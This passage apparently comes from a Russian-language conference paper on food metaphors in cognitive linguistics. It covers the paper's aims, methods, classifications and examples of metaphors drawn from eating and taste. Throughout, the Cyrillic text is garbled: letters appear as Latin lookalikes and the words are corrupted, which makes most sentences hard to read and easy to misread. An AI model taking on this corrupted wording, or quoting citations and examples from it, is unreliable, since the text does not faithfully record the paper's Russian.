0COBEHHOCTM, a TaKXKe MNpocneauTb 3aKOHOMEPHOCTU ee YHKLUMOHMPOBAHMA B Pa3/IMYHbIX
[MNCKYPCUBHbIX chepax.

ONna AOCTUKEHMA NOCTaBAEHHOM Liean HeobXoAMMO PeLWnTL Caeaytoume 3a4a4n:

® DPACcCMOTpeTb TeopeTUYecKne OCHOBbI M3yveHWA meTadopbl B COBPEMEHHOM
NIVHTBUCTWKE, NPOaHaM3MPOBaTb OCHOBHbIE MOAXOAb! K €€ UCCNeL0BaHMIO.

e onpenenntb O0CODEHHOCTM GYHKUMOHMPOBAHMA MNULLEBLIX MeTadpop, WUX
KNaccmdUKaLMIo U CTPYKTYPHbIE XapaKTEPUCTUKM.

® yccnenoBaTb KOTHUTUMBHbIE MeXaHM3Mbl GOPMMPOBAHMA NMULLEBLIX MeTadop,

WX PO/Ib B KAaTErOpM3aLMM MU KOHLENTyann3aumm OKpyKatoLLero Mmpa.

® OCYLLEeCTBUTb CONOCTaBUTENbHbIN aHA/IM3 MCNONb30BaHMA NULLEBLIX MeTadop B
PA3/IMYHbIX TUNAX ANCKYPCOB (MONUTUYECKOM, SKOHOMUYECKOM, MEANMNHOM, ObITOBOM).

® BbIABMTb AMHAMUKY Pa3BMTMA NULLEBLIX MeTAadOP B KOHTEKCTE COBPEMEHHbIX
COLMOKYNBTYPHbIX M3MEHEHWNI, ONPeAeNUTb TEHAEHLMN X IBOTOLMN.

® MPOaHANN3MPOBATL BAMAHME MULLEBLIX MeTapop Ha A3bIKOBYK KAapTUHY MMUpPa
HocuTenemn A3blKa.

Kak oTmeuaet ConoBbésa [8], nuuieBana metadopa ABAAETCA HE MPOCTO CTUAUCTUYECKUM
NPMemMoM, a  MOLWLHbIM  MHCTPYMEHTOM  KOHLEeNTyanusaumMm  peanbHoOCTW,  dopmupya
npeacTaBNeHMAa O  COUMaZAbHbIX MPOLECccax W MEMXIMYHOCTHbIX OTHOWweHMAx. JlaHHoe
nccnenoBaHue NO3BOMUT Ty6xKe MOHATb MEXaHW3Mbl 3TOTO BAMAHUA W BbIABUTb MX OCHOBHbIE
3aKOHOMEPHOCTH.

B xoze nccnenoBaHmA NPUMEHAINCE COBPEMEHHbIE METOAb! IMHIBUCTMYECKOrO aHa1M3a,
NO3BONAIOWME BCECTOPOHHE WM3Y4YUTb OYHKUMOHWPOBAHME NULLEBOM MeTadopbl B A3blKe WU
BbIABUTb €€ MMPOMOAENMPYIOWMIA NOTEHLMAN.

MeToa, KOTHUTUBHOIO aHaNM3a — UCMOb3YeTCA ANA BbIABNEHWA KOHLENTYaNbHbIX CTPYKTYP,
NEXKALLMX B OCHOBE MULLEBBIX MeTadop, a TaKXKe X PON B OPraHN3aL MM A3bIKOBOM KapTUHbI MUPa.

MeToA, KOMMOHEHTHOrOo aHanuM3a — MNPUMEeHAeTcA ANA AeTalbHOro MUCCAef0BaHMA
CEMAHTUYECKMX XapaKTePUCTUK NULLEBbLIX MeTadop, onpeaeneHma Ux KAYeBbiX KOMMNOHEHTOB U
CMbIC/TOBbIX OTTEHKOB.

KOHTeKCTyanbHbIM aHanM3 — MO3BOMIAET BbIABUTb OCOOEHHOCTM YHKLMOHMPOBAHMA
NULLEBbIX MeTadop B pPaA3MYHbIX TUMNAX [AWCKYPCOB, OMNPeAenvUTb WX MparmaTUyeckyto
HanpaBAEHHOCTb.

ConocTaBUTENbHBIM  METOoA, — MCMOMb3YeTCA ANS  aHaAM3a  YHUBEPCa/bHbIX U

cneumounyecKknx YepT NULEBbIX MeTadop B A3bIKE, a TAKXKe MX aHaAN0roB B APYrux A3bikax (npu
HeobxoAMMOoCTH).

MeToa, KONMYeCcTBEHHOIO aHaan3a — NO3BOMAET ONPEAEeNTb YaCTOTHOCTb ynoTpebaeHms
MULLEBbIX MeTadop B Pa3/MYHbIX AMCKYPCUMBHBIX Cchepax, BbIABUTb 3aKOHOMEPHOCTU  UX
pacnpeaeneHms.

MeToa, AMCKYPCUBHOMO aHanu3a — HanpaB/ieH Ha M3y4YyeHWe MparmatMyeckmx OyHKUMN
nuLLEeBbIX MeTadop, UX BAUAHUA Ha BOCNPUATME MHPOPMALMM 1 GOPMMPOBaAHME ONpeaeneHHbIX
CMbIC/OB.

Kak otmevaeT CTepHWH [2], NpMMeHEeHME KOMMJIEKCHOMO NOAX0Aa K M3ydeHuto meTtadopbl
NO3BO/IAET BbIABUTb HE TO/IbKO ee CTPYKTYpHble 0COBEHHOCTU, HO U KOTHUTUBHbIE MEXaHWU3MbI,
Nexkalime B ocHoBe ee QYHKUMOHMPOBaAHMA. TakMM 06pa3om, MCNOMb30BaHWE MepednCaeHHbIX
MeToA0B CNOCOBCTBYET BCECTOPOHHEMY aHaM3Yy NULLEBbLIX MeTadhop 1 MX MUPOMOAENNPYIOLLETO
noTeHumana.
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MpakTryeckaa 3HaYMMoCTb paboTbl 06ycnoBAEHA ee BKAAZAOM B Pa3BUTME KOTHUTUBHOM
JIIHTBUCTUKMW, IMHTBOKYIbTYPONOTMKN 1 Teopun meTadopsl. MNonydeHHble pe3yabTaTbl MOMYT ObiTb
MCMNONb30BaHbl B Pa3/INYHbIX CHepPax HAYKM U MPAKTUKK:

JINHIBUCTMKA M KOTHUTMBHbIE MCCNEA0BAHUA — MaTepuanbl UCCAeA0BaHUA MOTyT ObiTb
nonesHbl ANA AaNbHENLWEro U3yYeHUA MEXaHW3MOB KOHLENTYanM3aumMm 1 Kateropmsaumm mmpa
yepes meTadopy, a TaKKe 414 aHaM3a B3aMMOAENCTBMA A3blKa M MblLLAEHUS.

MpenoaaBaHWe s3blKa M MEXKKY/bTYPHOM KOMMYHMKALUMM — pe3ynbTaTbl MCCAeL0BaHMA
MOryT ObITb MCMO/Mb30BaHbI B Y4ebBHbIX Kypcax MO KOTHUTMBHOM JIMHIBUCTMKE, CEMAHTUKE,
CTUIMCTUKE W MEXKKY/NIbTYPHON KOMMYHMKAUMKW, OCOBEHHO MNpPWU M3ydyeHUM meTadopuUyecKmnx
Mmoenen.

MeanannmHrBUCTUKA WM MNOAUTMYECKass  PUTOPMKA — MNOHMMaHME  MEXaHW3MOB
GYHKUMOHMPOBAHMA NULLLEBOM MeTadopbl B MeAuna- U NOIMTUYECKOM AMCKYPCE MOXKET MOMOYb B
aHa/M3e TEKCTOB, BbIABNEHMM CKPbITbIX CMbIC/IOB W CTPATEIMN BAUAHWUA Ha ayAUTOPUIO.

MapKeTUHI 1 peknama — UccnefoBaHne NuLLeBbIX MeTadop MOKET ObiTb MONE3HbIM NPH
CO3aHNN PeKNaMHbIX 1 PR-KamnaHmii, NOCKO/IbKY NULLEBAA CUMBOIMKA YaCTO MCNO/b3yeTcsa As
npuBAeYeHnA BHUMAHMA 1 GOPMMPOBAHMA MO3UTUBHOIO MMUAKA NPOAYKTA UM KOMNAHMW.

MepeBoaYecKas NPaKTUKa — NOHMMaHWe cneunduKM NULLEBLIX MeTadop NomoraeT npwu
aZlanTaLMm TEKCTOB AR Pa3HbIX KyAbTyp, obecneynsas TOYHOCTb M BbIPa3nUTeIbHOCTb NepPeBOAa.

Kak nokasbiBaeT wuccneposaHuve Bexbuuron [6], meTadopbl He TONbKO OTparkatoT
MMPOBOCNPUATUE HOCUTENEN A3blKA, HO WM aKTMBHO GOPMMPYIOT €ro, BAMAA Ha BOCNPUATUE
COUMANbHbIX, MOAMTUYECKMX U KYAbTYPHbIX ABAEHWNA. TakMm 06pa3om, M3ydyeHue MULLEBbIX
meTadop MMeeT NPUKNALHYH 3HAYMMOCTb B LUIMPOKOM Kpyre r'yMaHUTapHbIX AWUCLUUNANH.

N3yyeHrne meTadopbl B MHIBUCTUKE MMEET AONTYIO U HACbILEHHYO mcToputo. OaHaKo
MMeHHO B XX—XXI BeKax, C pa3BUTUEM KOTHUTUBHOWM IMHTBUCTUKM, OHO MOTYYMIO HOBbIN MMMY/bC.
B TpagMuUMOHHOM PUTOPUYECKOM MOHUMAHWKW MeTadopa paccMaTpuBaNach Mpexae BCEero Kak
CTUANCTMYECKOe CPeaCTBO, NpeAHa3HayeHHoe [AN1A  YKpaleHWA pedn  WauM  yCUAeHus
Bblpa3nTeNbHOCTK. B nocneaHme AecATUNETUA MCCne0BaTeNn NPULWAK K BbIBOAY, YTO MeTadopa
BbINONHAET ropa3go 6onee BaxkHble ¢GyHKUMKM B A3blke. COBpPEMEHHble MCCNeL0BaHMA
MOKa3bIBalOT, 4YTO MmeTadopa WrpaeT K/AYEBYHD pPOJAb B OPraHM3aLuM 3HaHWA O MUpE,
boOpMMPOBAHNM A3LIKOBOM KapTMHbLI MMPa U KOHLENTYaM3aUMM pa3indHbix chep YenoBeyeckom
neatenbHocTn [5]. MeTadopa OKasbiBAaeTcs He MpPOCTO YKpalweHuem, HO dyHAaMEeHTasIbHOM
COCTaB/IAOLLEN KOTHUTUBHOWM CTPYKTYPbl, KOTOPasa NMOMOraeT Ham MOHMMATb M OPraHM30BbIBaTb
C/NIOXKHble abCTpaKTHblE KOHLENTbI Yepe3 3HaKOMble M MPOCTble 06pasbl.

Ocobblin HTepec BbI3bIBAET NULLeBas meTadopa, MOCKOAbKY OHa OCHOBbLIBAETCA Ha OAHOM
M3 camMbix DA30BbIX ACMEKTOB Ye/I0BEYECKOro CyLLeCTBOBaHMA — noTpebaeHun nuwp. Muuia
ABNAETCA BaXKHOM YaCTblO MOBCEAHEBHOM KM3HW M KyAbTypbl, YTO AeNaeT NuULLEBYO MeTadopy
WHTYUTMBHO BOCMPUHMMAEMOWN U YHUBEPCAbHOM A8 HOCUTENEN Pa3HbIX A3bIKOB M KY/bTyp. ITO
0ObACHAET, MoyYemy Takme MeTadopbl WMPOKO PACNPOCTPAHEHbI M IETKO BOCMPUHUMALOTCA.
MuweBas metadopa Kak MHCTPYMEHT SA3bIKOBOW pPenpeseHTaumm akTMBHO MCMOMb3yeTcs ANA
OMMCAHMA CaMbIX PA3NNYHBIX ABAEHUIA: OT COLMANbHBIX U SIKOHOMMUYECKMX NMPOLLECCOB A0 IMYHbIX
nepexXmMBaHni N NOANTUYECKMUX COBbLITUI.

B fgaHHOM rnase OyAyT pPacCMOTPEHbl OCHOBHble TeOopeTUYeckue noaxondpl K
nccnenoBaHuio metadopbl, € aKUEHTOM Ha KOTHUTUBHYKO JIMHIBUCTUKY, KOTOpaa onpeaenset
MeTadopy Kak MEXaHW3M, C MOMOLLbIO KOTOPOro Mbl MPOELMPYEM 3HAHMA O Bonee 3HAKOMBbIX U
KOHKPETHbIX fBAeHUsAX (Hanpumep, o nuue) Ha bosee abCcTpaKkTHbIe KOHUENTbl (Hanpumep, ob
OTHOLLEHMAX, YyBCTBAX MM COLMANbHbIX Npoueccax). Knaccndumkauma nuwiesbix metadop dyaet
OXBaTblBaTb Pa3/IMYHble TUMbl MeTapopuyeckmx Npeobpa3oBaHMn, BKAOYAA MepLenTUBHbIe U
KOHLLENTya/ibHble, @ TaKXKe BblABNEHNE KOTHUTUBHbIX MEXaHW3MOB, KOTOPbIE JIeXKaT B OCHOBE WX
GYHKUMOHMPOBaAHMA. B YacTHOCTK, ByAeT pacCMOTPEHO, KaKk nuuiesaa metadopa cnocobctayeTt
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dopmmnpoBaHMIO onpeaeneHHbix 06pa3os 1 accoumaLmii, co34aBad TakKMm 06pa3omM KOTHUTUBHbIE
CXeMbl /19 MOHUMAHMA CAOMKHbBIX U aBCTPAKTHbIX MOHATUIA.

CoBpemMeHHas IMHIBMUCTMKA paccMaTpuBaeT meTadopy Kak yHMBEPCasbHbIM MeXaHWM3M
KOHLENTyann3aumm, KOTOpbIA MO3BOMAET YEeNOBEKYy CTPYKTYpMpOBaTb M OCMbICAMBATH
OKPY*KaloLWYy AeNCTBUTENBHOCTb. MeTadopa GYHKUMOHMPYET KakK KOTHUTUBHbIA WMHCTPYMEHT,
NO3BOAIOLLMI MEPEHOCUTb XaPaKTEPUCTUKM OAHOTO ABAEHMSA HA PYrOe, YTO MOMOraeT NOHMMaTb
abCTPaKTHbIE N CNOXKHbIE KOHLLENTbI Yepe3 6o/1ee A0CTyNHble N 3HaKoMble 06pa3bl. ITOT Npouecc
MMEEeT BaKHOEe 3HayeHWe AN Ye/0BeYeCKoro no3HaHMA M BOCMPUATUA, NMO3BO/AS YE/0BEKY He
TO/IbKO 06 BACHATb OKPYKAOLWMIA MUP, HO N 3OHEKTUBHO KOMMYHULIMPOBATL CBOWM MAEN M YYBCTBA.

OaHon 13 Hanbonee BAMATENbHbLIX KOHLENLMI MeTadopbl ABMAETCA TEOPUA KOTHUTUBHOM
MmeTadopbl, paspaboTtaHHaa k. Jlakobdom n M. [OxoHcoHom [1]. CornacHo 3ToM Teopuwu,
MmeTadpopa npeactaBaser coboi cpeAcTBO NepeHoca CTPYKTypPbl OAHOrO KOHLENTyasbHOro
AoMeHa Ha apyroi. Jlakodd 1 [KOHCOH yTBEPKAatoT, YTO MeTadopbl AeKaT B OCHOBE HalLero
MbIWAEHNSA U [AEMCTBYIOT KaK MeHTasIbHble CXEeMbl, Yepe3 KOTOpble Mbl BOCMPUHUMAEM,
WHTEPNPETMPYEM U OCMbICISIEM PEaNbHOCTb. MNnleBas meTadopa, Kak OAMH U3 APKMX NPUMEPOB,
NepeHOCUT XapaKTePUCTMKM NpoLLecca Npuema nuuLm Ha 6onee abCTpaKTHbIE U CNOXKHbIe 061acTH
4yesoBeYeCKOM AeATeNbHOCTU, TaKMe KaK SKOHOMMKA («NpornoTuTb  yObITKM»), NOAWUTMKA
(«nepeBapuTb pedopmy») U RyaAbTypa («NMWa 408 pa3mMbilIeHUn»). Takol nepeHoc nomoraeT
cOenatb 3TU KoHLEeNTbl bonee AOCTYMHbIMM M MOHATHBIMMW, CO34aBaA MeHTAIbHble CBA3M, KOTOPble
obneryatoT BOCNPUATUE U OCMbICIEHME.

OYHKUMM MeTadopbl B A3blKE MOMKHO YC/NOBHO Pa3AennTb Ha TPW OCHOBHble rpynmbl.
MepBana — KOTHUTMBHAA QyHKLMA, KOTOPaA 3aKkato4yaeTca B GOPMUPOBAHUMN U CTPYKTYPUPOBAHUK
3HaHMI 0 Mupe. MeTadopbl MOMOratoT yNpOLATb CAOMKHbIE ABNEHMA M MPOLECChl, CO34aBas
cUCTEeMy accoumaumii 1 06pa3os, KOTOPble NO3BONAOT BOCNPUHMMATb abCTPaKTHbIe naen Yepes
b6onee KOHKpPETHble M 3HAaKOMble 31eMeHTbl. BTopaa ¢yHKLUMA — KOMMYHMKATMBHAA, KOTOpas
Hanpas/ieHa Ha ynpolleHne W HarnaaHoCTb nepedadn nHdopmMaumn. Metadopbl AenatoT peydb
Honee ApPKON, BbIPa3UTENbHOM M AOCTYNHOM ANA ayaMTopumM, nomoraa sbPpeKTMBHO nepesaBatb
CNOXHblE WAW  3SMOUMOHANbHO HaCbIWEeHHble KOHUEeNnTbl. HakoHew, TpeTba OJyHKUMA —
9MOLMOHANbHO-OLUEHOYHAA,  Bblparkalollas  CyObeKTMBHOE  OTHOWEHWe  roBopAWero K
onpeaeneHHbIM ABNEHUAM U cobbiTAM. C nomMoLLbio MeTadop MOMKHO nepesatb He TO/IbKO
MHGOPMaUMIO, HO M IMOLMM, OTHOLIEHME K TeMe, YTO AEeNaeT BbiCKasbiBaHWe Bonee XKMBbiM U
HaCbILLEHHbIM.

Kak oTmedaeT CTepHuH [2], nuueBan meTapopa 0cobeHHO 3HaYMMa B KOTHUTUBHOM chepe,
MOCKO/IbKY OHa CBfA3aHa C MEePBUYHBLIMW CEHCOPHbLIMM U GU3NONOTUYECKMMM TMEPEKMBAHNAMM
yesioBeKa. ITWU MEPEMBAHUA ABNAIOTCA YHMBEPCANbHLIMM, MOHATHLIMW W AOCTYMHbIMK A8
HbonblWNHCTBA /tOAEN, 4YTO AenaeT nuuiesyto meTtadopy 3GDEKTUBHLIM MHCTPYMEHTOM A5
CO3[aHKA M Nepesiayn 3HaYeHun B f3bike. Kpome Toro, cBA3b MMM C 6Aa30BbIMW MHCTUHKTAMU U
NOBCEAHEBHbIM OMbITOM Ye/sOBEKa Mo3BosfeT meTadopam Ha OCHOBe MUK HbiTb 0COBEHHO
3MOLMOHA/IbHO HACbILLEHHBIMKU N SPKMMM, YTO CMOCODBCTBYET MX WMPOKOMY MCMO/b30BAHMUIO B
Pas3nnyHbIX chepax obuieHms.

Muuiesana metadopa, Oyaydym pacnpoCcTPpaHEHHOM BO MHOTMX A3blKaXx MUPa, MOXKET OblTb
KnaccmdunumpoBaHa No HECKONbKMM Kputepuam. Hanbonee 3HaUMMbIMM ABNAIOTCS:

o memamu4yeckum 2pynnam:

MeTadopbl, CBA3aHHbIE C MPOLLECCOM e/ibl: KT10TaTb C/I0OBA», «KNepeBapmnTb MHPOPMALMIO».

MeTadopbl, OTparkatolme BKyC: «cnaakan nobesa», «ropbkan npasaa».

MeTadopbl, CBA3aHHbIE C MPUTOTOBAEHMEM MULWM: «CMeLnBaTb GaKTbl», «NOAXKAPUTH
OMMNOHEeHTa».

1o yHKYUOHAAbHOMY HO3HAYeHUK:

OueHOoYHble MeTadopbl: «CaxapHble Pevm», KKUCAbIA HENOBEKY.
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OnucaTenbHble meTadopbl: KBAPUTLCA B CBOEM COKY», «pa3baBuUTb pa3roBop».

Mo cmeneHu ycmod4usocmu:

®pa3eonorn3mMpoBaHHbIE: «BCE NEPEBAPUTLY, K¥KEBATb OAHO M TO XKeY.

NHAMBUAYANbHO-aBTOPCKME: «XKMPHAA /TOXKbY», KTOHKAs KOPOYKa NpaBabi».

B pononHeHue K 3Tomy, KaskeHoBa [3] oTmevaeT, 4yto nuuleBas meTadopa 4acTo
MCMNONb3YeTCA A5 BblPaXKEHWs COLMANbHbBIX OTHOLIEHWUA M KYAbTYPHbIX YCTAaHOBOK. Hanpumep,
BblparKeHMe «BapUTbCA B CBOEM COKY» MOXET MHTEPNPeTUPOBATLCA KaK OTPAXKEHNE 3aMKHYTOCTM
onpeaeneHHon CcouManbHOM Tpynnbl, a «NOACNACTUTb MUAKOAKY» — KakK MOMbITKa CMAMYUTb
HEenpUATHbIE N3BECTUA.

MuweBas MeTadopa ABAAETCA OAHWMM M3 K/KOYEBbIX MEXAHU3MOB OCMbIC/IEHMA
OKpy*KatoWwen AencTBUTeNbHOCTU. OHa He TONbKO OTPaXKaeT Ky/bTypHble M KOTHWUTMBHbIE
0CcOBeHHOCTN HocUTenel A3blka, HO U cnocobcTeyeT GOPMUPOBAHUIO NPEACTABIEHMA O MUPE.
CoBpemMeHHas JIMHIBUCTMKA PaCcCMaTPMBAET MNULEBYIO MeTadopy KaK MOLHbLIA MHCTPYMEHT
KaTeropmsaumm n MHTepnpeTaumm pasanyHbix SBEHNN, BbIXOAALWMX 33 PAMKM raCTPOHOMMYECKON
cdhepbl.

1. Ponb nuweBo meTadopbl B KOHLENTYaAN3aUMN AENCTBUTENBHOCTH

Yenosek exeAHEBHO CTa/IKMBAETCA C MPOLECCAMM, CBA3AHHbIMM C MPUEMOM MULLM,
NOSTOMY B A3blKE 3aKPEMWIOCb MHOMECTBO BbIPAXKeHWI, rae efa CTaHOBMTCA OCHOBOM ANA
OMMCaHMA abBCTPAKTHbIX MOHATUN.

Mpumepbl:
. «notaTb 06MAYy» — CKPbIBATb NEPEKMBAHMA, HE BbICKA3bIBaAA MX.
. «MpunpaBuUTb UCTOPUIO» — N0DABUTb AETaNN, BOSMOXKHO, BbIMbICE.
. «TyWKTb KOHOANKT» — NpeanPUHMMATL MepPbl AN ero yperyanpoBaHms.

3TV NpUMepbl NOATBEPKAAIOT, YTO NULLLEBAA MeTadopa He TONbKO ober4aeT NOHMMaHNe
C/IOXKHbIX MPOLECCOB, HO U CTPYKTYPUPYET MblLLEHME.

2. DyHKUMM NULEBBIX MeTadop B A3bIKe

1. Knaccuduumpytoulas — nomoraet pasgensaTb ABAEHMA Ha MOHATHble
KaTeropuu (Hanpumep, «TokcuyHaa MHGOPMaLMA» — BPeAHble CBeAEHMUA, HEraTUBHO BAMAIOLME
Ha MCUXMKY).

2. OueHoYHaa — BbIparkaeT CyObEKTMBHOE OTHOLWIEHWE K OObBEKTY WM
ABNEHUIO (KKMCAbIM XapaKTep» — HEMPUATHbIN, YITPIOMbI YE0BEK).

3. MoTumBaumMoHHaa — Noby»KaAaeT K AeNCTBUIO, UCNO/b3YsA 3HAKOMble 0Opasbl
(«He cbelb — TaK HaAKycK!» — NpU3bIB caenaTb XoTa Obl YacTb PaboThI).

4. MeTadopa Kak WMHCTPYMEHT CcOUMaNbHOM cTpatudmKaumm — oTparkaeT

CTaTyCHblE Pa3INUmNA (KMKOPHAA 31UTa» — COCTOATE/IbHbIE NIHOAN, BEAYLLME POCKOLIHYHO KM3Hb).
3. Mnuiesan meTtadopa B Meanaamcrypce

CospemeHHble CMW 1 peknama akTMBHO MCMO/b3YIOT NULLEBbIE 06pasbl A5 NPUBIEYEHNS
BHMMaHUWA ayaNTOPUN:

. «MepeBapuTb HOBOCTU» — OCMbICAINTL NMOTOK MHGOPMaLMN.

. «PacTdya-KOHTEHT» — MOBEPXHOCTHbIE, HbICTPO noTpebrsemble meama-
NPOAYKTHI.

. «Cnagkune obellaHuna» — npuBAeKaTe/bHble, HO MasiopeasbHble C/l0Ba

NOIMTUKOB NN PERKNTAMLLNKOB.
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Takoe MCNoNb30BaHWe MNULLEBBLIX MeTapop AenaeT cooblieHWAa Honee MNOHATHbIMKU M
3MOLMOHA/IbHO OKPALLEHHbIMU.

Muuwesana metapopa — 3TO HE MPOCTO JIMHIBUCTUYECKMIA PEHOMEH, @ BaXKHbIA MHCTPYMEHT
dopmMMpPOoBaHMA KapTUHbI MMpa. OHa NOMOraeT OCMbICAATb COXKHbIE ABAEHUA Yepe3 3HAKOMble
0bpasbl, BANAA Ha MblLLIEHWE M NoBeAeHMe Ntoael. B ycnosmax LMPPOBOMN 3NMOXM PO/b NMULLEBBIX
mMeTadop BO3pACTAET, TaK Kak OHW MO3BOAAIOT AOCTYMHO NepenaBaTb CAOXKHbIE UAEW, YNPOLLAs
KOMMYHMKaLUMIO.

TaKXKe BaXKHO Y4YMTbIBaTb MeXbA3bIKOBbIE pasmuma. MeTadopbl, CBA3aHHble C Xx1ebom
(«6e3 xneba He NPOKMBELLIb») COB HEKOTOPbIX A3bIKAX HECYT MONOMKMUTE/bHbIA CMbIC/, B TO BpEMSA
KaK B aHT/IMMCKOM fA3blKe aHaNIOrMYHble BblipaXKeHMA MOTYT MMETb MHOM KOHTEKCT. ITO CBA3AHO C
PA3IMYMAMM B KYNIbTYPHbIX TPAAMUMAX U BOCMIPUATUM NMULLM B PA3TIUYHBIX 0OLLECTBAX.

Takum obpasom, nuuieBaa metadopa He TONbKO CTPYKTYPUPYET A3blK, HO M OTpaKaeT
0COBEHHOCTMN HALMOHAAbHOM KYAbTYPbl U LLEHHOCTEMN.

KOrHUTMBHbIE MeXaHM3Mbl, NeXalme B OCHOBE MULLEBbIX MeTadop, TECHO CBA3aHbI C
6a30BbIMK NPOLLECCAMM KaTEropm3aLmm 1 KOHLENTYanM3aLmm, KOTopble ABNAOTCA BaXKHENWMMM
acneKkTaMm YenoBevecKkoro nosHaHuA. MeTtadopsbl, B TOM YMCae U NULLEBAA, MOMOratoT Ye/I0BEKY
ynopAago4MBaTbh M OCMbICAATb MUP, CO34aBas CBA3M MeXay abCTPaKTHbIMU M KOHKPETHbIMM
KOHLLeNTamun. B ocHoBe NuuLeBoin MeTadopbl NEXUT MPUHLMN MeTaPOpPMYeCcKoro NPoeLMpoBaHms,
NpY KOTOPOM CBOMCTBa OAHOM KOHUENTyasbHON 061acTV (Hanpumep, NULWM) NepeHOoCATCA Ha
apyryto, bonee abcTpakTHYO chepy, Takyt Kak IMOLMM, COLMaNbHblE ABNEHNA UM abDCTPAKTHble
naen. I3TO NO3BONAET /OAAM Jlerye BOCMPUHUMATb W UHTEPNPETMPOBATb C/IOXKHbIE WK
HeonpeAeneHHble ABAEHUA, Aenan nx bosee NOHATHBIMU U OCA3AEMbIMMU.

MPMHLMNMANBHO BaXKHbIM ABNAETCA HaMUYMe 0Bpa3HbIX CXeM, KOTOPble ABNAIOTCA OCHOBOWM
MeTadopmyecKoro BocnpuaTnA. Hanpumep, cxema KOHTEMHepa, B KOTOPOM eAa BOCNPUHUMAETCA
KaK HeyTo, 4YTO MOXKHO BMECTUTb, MNPUBOAMT K MeTadopam, TaKMM KaK «3arnaTbiBaTb
nHGOpMaumio». ITO BblpaXKeHMe MepeHOCUT CBOMCTBA MULLM (BMECTMMOCTb, YCBOAEMOCTb) Ha
npouecc BOCMPUATMA W YCBOEHWMA 3HAHWIM, 4YTO AenaeT abCTPaKTHbIA npouecc noayyYeHua
nHdopMaunmn 6onee NOHATHbIM. ELLle OQHOWM BaXKHOM CXEMOW ABNAETCA CXema NyTu, rae nNpuem
MULLM PACCMATPMBAETCA KaK MPOLECC ABUMKEHWA uam npoxoxaeHua. MeTadopa «paskeBaTb
CNIOXKHYIO TEMY» UAMOCTPUPYET NEPeHOC KOHLENTa MULLM Ha NPOLLECC OCMbICIEHUA U YCBOEHMS
MHGOPMaUMKM, YTO MNOAYEPKMBAET BAXKHOCTb MOC/NEA0BATENbHOCTM WM CTPYKTYpPbl B aHanu3e
C/NOMKHbIX MAEN.

Cxema cybCcTaHUMM NPeACTaBASET MULLY KaK OOBEKT OLLEHKM MM CBOMCTBA, KOTOPbIE MOTYT
OblTb MONOXKWUTENBbHBIMM WMAM OTpuUaTeNbHbIMK. MeTadopa «ropbkaa npaBaa» MCNONb3yeT
npeacTaBfeHMe O BKyce A/1A TOro, 4Ytobbl MNOAYEPKHYTb HEMPUATHOCTb WMAM  C/OXKHOCTb
onpeaeneHHon wuHbopmaumm, Co34aBad TEM CaMbIM  CUAbHbLIA  3MOLIMOHANbHBLIN  3DPEKT.
MonobHble meTadopbl aKTUBHO BAMAIOT Ha BOCMPUATUE U MOHMMAHMWE TOTO, O YEM UAET peyb, U
nenatot nHbopmaumio 6osee BbIPasmUTENbHOM U HACbILLEHHOWN.

Bexkbuukas [6] oTmevaeT, 4yTo nuuieBasa meTadopa 0cobeHHO TecHO cBfA3aHa C
YyesioBeYeCKMMM 3IMOLMAMM M BOCMPUATMEM MMpa. Accoupmaumm CO BKyCamMuM — CAAAKUMMK,
FOPbKMMM, KMCABIMW U T. M. — YaCTO MEPEHOCATCA Ha IMOLIMOHA/IbHbIE COCTOSHUSA, YTO AenaeT
TakMe MeTadopbl MOLIHbIM MHCTPYMEHTOM A5 BblpaXKeHUsa CyObeKTUBHbIX MepeKMBaHWNN.
MpUMepoM Taknx MeTadpop ABNAIOTCA BbIPAXKEHUA «CNAAKMIN YCNEX» UAN «TOPbKOE MOpaXKeHne»,
KOTOpble NepefatoT He TO/IbKO CMbIC/, HO M 3MOUMOHA/IbHYIO OKPACKy NepeXKMBaHui, CBA3AHHbIX
C yCnewHbIMM UK HeyAaYHbIMU COBbITUAMM.

TaKXKe KOHUEeNnTbl eabl YaCTO WMCMONb3YHTCA ANA XAaPaKTEPUCTUKM MHOOPMALUKU UK
cobbITMIM, 4YTO NO3BONAET MOAEAMPOBATb BOCMPUATME OKpyXKatolero Mmupa. Hanpumep,
BblpaXkeHne «nepeBapmMTb HOBOCTM» MeTadOpUYECKM OMUCbIBAET MPOLLECC OCMbICIEHUA WU
YCBOEHWA HOBOM, MOPOM CAOKHON W TPYAHON MHPOPMaLMK. B Taknx meTadopax MCNonb3yeTcs

260



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

NIOTVMKa B3aMMOJENCTBMA C MNULLEM — OLEeHKa, YCBOEHWe, nepeBapuMBaHWe — 4YTO MoOMoraet
dopmmpoBaTb 6os1ee NOHATHbIE 06Pa3bl 1 YyNPOLLLAET BOCNPUATHE.

MuuieBaa metadopa ABAAETCA HE MPOCTO CTUAUCTUYECKMM MPUEMOM, a CAOXKHbIM
KOTHUTMBHbIM MHCTPYMEHTOM, KOTOPbIMA CTPYKTYPUPYET A3bIKOBYHO KapTUHY MMpa U OTparkaeT
Ky/bTypHble ocobeHHocTM obuiectBa. OHa cnocobCcTByET YNPOLLEHWUIO M adanTaumm abCcTpaKkTHbIX
NOHATWI, Aenas nx bonee AOCTYNHbIMU U SMOLIMOHANbHO HaCbILWEHHbIMU. MNKLLeBas meTapopa He
TONIbKO MOMOTaeT B KOMMYHWUKALMKW, HO W ABASETCA BaKHOW YaCTbiO KOTHWUTUBHbIX MPOLLECCOB,
CTPYKTYPUMPYA BOCMPUATUE MUPA N HaLLIe MOHUMAHNE COMKHbIX ABNEHWNIA.

MuueBan meTapopa B A3bIKE OTPAMKAET C/IOMKHbIE KOTHUTMBHbIE MPOLECCHI, CBA3bIBAA
raCTPOHOMMYECKMIA  OMbIT Ye/soBeKa C  PasnyHbiMKM - chepamm  XKusHu. CoBpemeHHble
MccneloBaHMA  MOKasbiBAlOT, 4TO MNULLEBas MeTadopa WrpaeT 3HaAYUTE/bHYHO POo/b B
HOPMMPOBAHMNN A3bIKOBOWM KapTUHbI MMPa, MOCKO/IbKY OHa TECHO CBA3aHa C M3MOOTUYECKMMM 1
CEHCOPHbLIMW MepekMBaHUAMKU, OOWMMKM aONA BCex AoAen. ITa YHWUBEPCaNbHOCTb AenaeT
nuwesble meTapopbl MOHATHBIMW B Pa3/IMYHbLIX A3bIKaX M Ky/JbTypax, XOTA WX KOHKPETHble
NPOABAEHNA MOTMYT BapbMPOBaTbCSA B 3aBMCMMOCTM OT HaLMOHANbHbIX TPAAMLMA U COLMANbHbIX
KOHTeKcToB [5].

AHanu3 nuuieBon metadopbl TpebyeT MeXAMCUMNAMHAPHOIO NOAX0/Aa, BKAKYAOLLEro
